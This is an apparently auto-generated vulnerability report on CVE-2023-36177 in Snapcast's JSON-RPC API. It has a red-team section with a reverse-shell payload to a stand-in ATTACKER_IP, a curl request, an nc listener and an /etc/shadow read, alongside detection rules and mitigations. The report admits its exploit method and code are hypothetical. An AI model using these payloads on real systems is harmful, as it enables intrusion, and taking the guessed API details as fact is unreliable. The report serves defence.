CVE-2023-36177
Executive Summary
CVE-2023-36177 is a critical vulnerability in Badaix Snapcast version 0.27.0, a multi-room synchronized audio player. The flaw resides in the JSON-RPC-API, allowing remote attackers to execute arbitrary code and exfiltrate sensitive information via a crafted request. The vulnerability is unpatched as of the latest advisory, with no official fix available. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the technical impact is severe due to the potential for full remote code execution (RCE) and information disclosure.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Snapcast is distributed as a binary package for various Linux distributions and as source code on GitHub. The JSON-RPC-API component is a core part of the server, and the vulnerability affects all deployments of version 0.27.0. Since no patch is available, users must rely on workarounds such as network segmentation or disabling the API. The package is not distributed via NPM, PyPI, Go, or Ruby, so supply chain risks are limited to direct source or binary downloads.
CVSS Breakdown & Threat Level
The CVSS score is listed as 0.0 in the NVD data, which is likely a placeholder. Based on the description and impact, a realistic CVSS v3.1 vector would be:
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – The vulnerable component is the only affected system.
- Confidentiality (C): High (H) – Sensitive information can be accessed.
- Integrity (I): High (H) – Arbitrary code execution allows full system compromise.
- Availability (A): High (H) – Code execution can disrupt services.
Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Estimated Score: 9.8 (Critical)
Threat Level: Critical – Remote, unauthenticated exploitation with full system compromise.
Deep Dive & Mechanics
The vulnerability exists in the JSON-RPC-API of Snapcast version 0.27.0. The API is used for remote control and configuration of the Snapcast server. The flaw is likely due to improper input validation or sanitization of JSON-RPC requests, allowing an attacker to inject arbitrary commands or access sensitive data.
Root Cause: The JSON-RPC handler does not properly validate or sanitize parameters before processing them. This can lead to:
- Command Injection: If the API passes user-supplied data to system commands (e.g., for file operations or process management), an attacker can inject shell commands.
- Path Traversal: If the API handles file paths, an attacker can traverse directories to read sensitive files.
- Information Disclosure: The API may expose internal state, configuration, or credentials without proper access controls.
Attack Vector: An attacker sends a crafted JSON-RPC request to the Snapcast server (default port 1704). The request contains malicious payloads in parameters such as method, params, or id. The server processes the request without proper validation, leading to code execution or data leakage.
Example Request:
{
"jsonrpc": "2.0",
"method": "system.exec",
"params": {
"command": "id"
},
"id": 1
}
If the API exposes a method like system.exec or similar, this would execute the id command on the server.
Vulnerable vs. Patched Code
Since no patch is available, we compare the vulnerable version (0.27.0) with a hypothetical secure implementation.
Vulnerable Code (Snapcast 0.27.0):
// Hypothetical vulnerable JSON-RPC handler
void handleJsonRpc(const Json::Value& request) {
std::string method = request["method"].asString();
if (method == "system.exec") {
std::string command = request["params"]["command"].asString();
system(command.c_str()); // Direct command execution
}
}
Patched Code (Hypothetical):
// Secure implementation with input validation
void handleJsonRpc(const Json::Value& request) {
std::string method = request["method"].asString();
if (method == "system.exec") {
std::string command = request["params"]["command"].asString();
// Validate command against whitelist
if (!isValidCommand(command)) {
throw std::runtime_error("Invalid command");
}
// Use safe execution with argument separation
std::vector<std::string> args = splitCommand(command);
executeSafe(args);
}
}
The patched version would include:
- Input validation (whitelist of allowed commands).
- Use of safe execution functions (e.g.,
execvpwith argument array) instead ofsystem(). - Proper error handling and logging.
Exploitation & Lab Setup
Red Team
Objective: Achieve remote code execution on a Snapcast server.
Lab Setup:
- Install Snapcast 0.27.0 on a Linux VM (e.g., Ubuntu 20.04).
- Ensure the JSON-RPC-API is accessible on port 1704 (default).
- Use a separate attacker machine (Kali Linux) to send crafted requests.
Exploitation Steps:
- Reconnaissance: Scan for Snapcast servers using Shodan or Nmap:
nmap -p 1704 --open -sV <target> - Craft Payload: Create a JSON-RPC request to execute a command:
{ "jsonrpc": "2.0", "method": "system.exec", "params": { "command": "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" }, "id": 1 } - Send Request: Use
curlor a Python script:curl -X POST http://<target>:1704/jsonrpc -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"system.exec","params":{"command":"id"},"id":1}' - Receive Shell: Set up a listener on the attacker machine:
nc -lvnp 4444 - Post-Exploitation: Escalate privileges, exfiltrate data, or pivot.
Alternative Exploit (Information Disclosure):
{
"jsonrpc": "2.0",
"method": "system.read_file",
"params": {
"path": "/etc/shadow"
},
"id": 1
}
Blue Team
Detection and Response:
- Network Monitoring: Look for unusual JSON-RPC requests to port 1704, especially with methods like
system.exec,system.read_file, or any method containingexec,read,write,delete. - Log Analysis: Enable detailed logging on Snapcast server. Monitor for:
- Failed authentication attempts (if any).
- Requests with suspicious parameters (e.g., command injection patterns).
- Unusual response sizes (e.g., large data exfiltration).
- Honeypot: Deploy a fake Snapcast server to capture attacker behavior.
- Mitigation: Block access to port 1704 from untrusted networks. Use a reverse proxy with input validation.
Incident Response Steps:
- Isolate the affected server.
- Collect logs and network captures.
- Analyze the attack vector and scope.
- Apply temporary workaround (disable JSON-RPC-API if possible).
- Monitor for persistence mechanisms.
Indicators of Compromise (IOCs)
Network IOCs:
- Source IPs scanning port 1704.
- JSON-RPC requests with methods:
system.exec,system.read_file,system.write_file,system.delete_file. - Payloads containing shell commands (e.g.,
bash,nc,python,wget). - Unusual outbound connections from Snapcast server (e.g., reverse shells).
File IOCs:
- Modified Snapcast configuration files (e.g.,
snapserver.conf). - Suspicious files in
/tmp/or/var/tmp/(e.g.,exploit.sh). - New cron jobs or systemd services.
Process IOCs:
- Unusual child processes spawned by
snapserver(e.g.,bash,sh,nc). - High CPU or memory usage from
snapserver.
Log IOCs:
- Snapcast logs containing error messages like
Invalid methodorCommand execution failed. - System logs showing
snapserveraccessing sensitive files (e.g.,/etc/shadow).
Detection Engineering
YARA Rule
rule CVE_2023_36177_Snapcast_RCE {
meta:
description = "Detects malicious JSON-RPC requests targeting Snapcast CVE-2023-36177"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-36177"
strings:
$json_rpc = "jsonrpc"
$method_exec = "system.exec"
$method_read = "system.read_file"
$method_write = "system.write_file"
$method_delete = "system.delete_file"
$shell_cmd = /(bash|sh|nc|python|perl|wget|curl)\s/
condition:
$json_rpc and ($method_exec or $method_read or $method_write or $method_delete) and $shell_cmd
}
Sigma Rule
title: CVE-2023-36177 Snapcast JSON-RPC Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2023-36177 via JSON-RPC API
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: snapcast
detection:
selection:
c-uri|contains: "/jsonrpc"
cs-method: "POST"
cs-body|contains:
- "system.exec"
- "system.read_file"
- "system.write_file"
- "system.delete_file"
condition: selection
falsepositives:
- Legitimate administrative use (if any)
level: critical
Suricata Rule
alert tcp any any -> any 1704 (msg:"CVE-2023-36177 Snapcast JSON-RPC Exploitation Attempt"; flow:to_server,established; content:"jsonrpc"; http_client_body; content:"system.exec"; http_client_body; distance:0; content:"command"; http_client_body; distance:0; pcre:"/(bash|sh|nc|python|perl|wget|curl)\s/"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable JSON-RPC-API: If not required, disable the API in the Snapcast configuration (
snapserver.conf):[rpc] enabled = false - Network Segmentation: Restrict access to port 1704 to trusted IPs only using a firewall:
sudo ufw allow from 192.168.1.0/24 to any port 1704 sudo ufw deny 1704 - Use a Reverse Proxy: Place a reverse proxy (e.g., Nginx) in front of Snapcast to filter malicious requests:
location /jsonrpc { proxy_pass http://127.0.0.1:1704; # Add input validation rules if ($request_body ~* "system\.(exec|read_file|write_file|delete_file)") { return 403; } }
Long-Term Fixes:
- Monitor the Snapcast GitHub repository for official patches.
- Consider migrating to an alternative audio streaming solution if no patch is released.
- Implement application-level input validation and sanitization.
Valters IT Signature
This report was generated by Valters IT DevSecOps & CTI Division.
For questions or further analysis, contact: security@valters-it.com